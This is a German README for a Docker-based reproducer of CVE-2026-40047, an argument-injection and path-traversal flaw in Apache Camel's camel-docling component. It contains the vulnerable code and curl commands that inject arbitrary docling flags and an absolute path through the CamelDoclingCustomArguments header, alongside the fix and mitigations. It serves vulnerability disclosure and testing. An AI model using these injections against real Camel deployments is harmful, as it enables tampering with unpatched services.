camel-docling CLI-Argumentinjektions- / Pfad-Traversal-Reproducer (CVE-2026-40047)

Dieses Projekt demonstriert eine CLI-Argumentinjektions- und Pfad-Traversal-Schwachstelle in der Apache-Camel-Komponente camel-docling, die als CVE-2026-40047 verfolgt wird. DoclingProducer erstellt den Aufruf des externen Kommandozeilenwerkzeugs docling aus Nachrichten-Headern; benutzerdefinierte Argumente, die über den Header CamelDoclingCustomArguments bereitgestellt werden, wurden mit unzureichender Validierung angehängt (eine Denylist plus eine wörtliche ../-Prüfung), sodass ein Angreifer, der diese Header beeinflussen kann, beliebige docling-CLI-Flags und Traversal-enthaltende Pfadwerte in den Unterprozess injizieren kann.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40047.html

Schwachstellenübersicht

Technische Details

DoclingProducer setzt den docling-Aufruf zusammen und führt ihn über java.lang.ProcessBuilder aus (Listenform — keine Shell). Benutzerdefinierte CLI-Argumente aus dem Header CamelDoclingCustomArguments werden an den Befehl angehängt:

// DoclingProducer.addCustomArguments(...) - affected version
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);   // denylist + literal "../" check (weak)
    command.addAll(customArgs);
}

In betroffenen Versionen stützte sich validateCustomArguments auf eine Denylist unzulässiger Flags und lehnte nur Pfadwerte ab, die ein wörtliches ../ enthalten. Dies hat folgende Konsequenzen:

• Nicht erkannte Flags (nicht auf der Denylist) werden direkt an docling durchgereicht.
• Pfadartige Werte, die ohne ein wörtliches ../ traversieren (absolute Pfade oder normalisierte Sequenzen), werden nicht abgefangen.

Da Camel den docling-Aufruf aufbaut, ist die Komponente dafür verantwortlich, diese Werte einzuschränken. Der Fix (CAMEL-23212) ersetzt die Denylist durch eine strenge Allowlist erkannter Flags, lehnt producer-verwaltete Flags (--output/-o) und Shell-Metazeichen ab (Defense in Depth) und normalisiert pfadartige Werte mit Path.normalize(), bevor sie validiert werden.

Der Aufruf verwendet die Listenform von ProcessBuilder, sodass keine Shell die Werte interpretiert — eine OS-Befehlsinjektion über Shell-Metazeichen ist nicht möglich; die Ablehnung von Metazeichen im Fix ist Defense-in-Depth.

Die Route

from("direct:convert")
    .to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");

Wie dieser Reproducer die Injektion beobachtet

docling ist ein externes Werkzeug. Dieser Reproducer enthält einen Stub docling (im PATH innerhalb des Containers), der die empfangenen argv-Werte protokolliert und eine Markdown-Datei zurückschreibt, sodass die injizierten Argumente in der HTTP-Antwort und in /tmp/docling-invocations.log sichtbar sind. Alles läuft in einem Docker-Image (App + Stub) — es ist also keine echte docling-Installation erforderlich.

Voraussetzungen

• Java 17+ und Maven 3.8+ (zum Erstellen des Jars)
• Docker (führt die App + den Stub docling aus)

Reproduktionsschritte

Schritt 1: Jar und Image erstellen

mvn clean package -DskipTests
docker compose up -d --build

Schritt 2: Harmlose Konvertierung

curl http://localhost:8080/exploit/normal
# stub docling receives: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt

Schritt 3: Beliebige CLI-Argumente injizieren

curl "http://localhost:8080/exploit/attack"
# injects CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling receives:
#    docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt

# a path value with no literal "../" (absolute path) also passes:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"

Auf einer betroffenen Version (dieser Reproducer pinnt 4.18.2) ist die Route erfolgreich und die injizierten Argumente erreichen den Unterprozess. Auf einer behobenen Version (4.18.3 / 4.19.0) lehnt die Allowlist --injected-by-attacker mit einer IllegalArgumentException ab und die Route schlägt fehl.

Aufräumen

docker compose down

Exploit-Bedingungen

1. Eine Camel-Route, die extern beeinflusste Daten in CamelDoclingCustomArguments (oder die pfadenthaltenden Header) eines docling:-Producers weiterleitet.
2. Kein Entfernen Camel-interner Header bei Nachrichten von nicht vertrauenswürdigen Producern.

Empfohlener Fix

Aktualisieren Sie auf 4.18.3 / 4.19.0. Der Fix verwendet eine strenge Allowlist erkannter docling-Flags, lehnt producer-verwaltete Flags und Shell-Metazeichen ab und normalisiert Pfadwerte mit Path.normalize(), bevor sie validiert werden.

Gegenmaßnahmen

Bis zum Upgrade:

1. Übernehmen Sie keine nicht vertrauenswürdigen Inhalte in CamelDoclingCustomArguments oder die pfadenthaltenden Header.
2. Entfernen Sie Camel-interne Header (removeHeaders("Camel*")) aus Nachrichten, die vor dem docling:-Producer von nicht vertrauenswürdigen Producern eintreffen.

Dateien

CVE-2026-40047/
├── pom.xml
├── Dockerfile                       # app + stub 'docling' on PATH
├── docker-compose.yml
├── docling-stub.sh                  # stub 'docling' (logs argv, writes markdown)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DoclingRoute.java         # from(direct:convert).to(docling:convert)
    │   └── ExploitController.java    # injects CamelDoclingCustomArguments
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer dient ausschließlich der Sicherheitsforschung und autorisierten Tests und bezieht sich auf eine öffentlich bekannt gemachte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.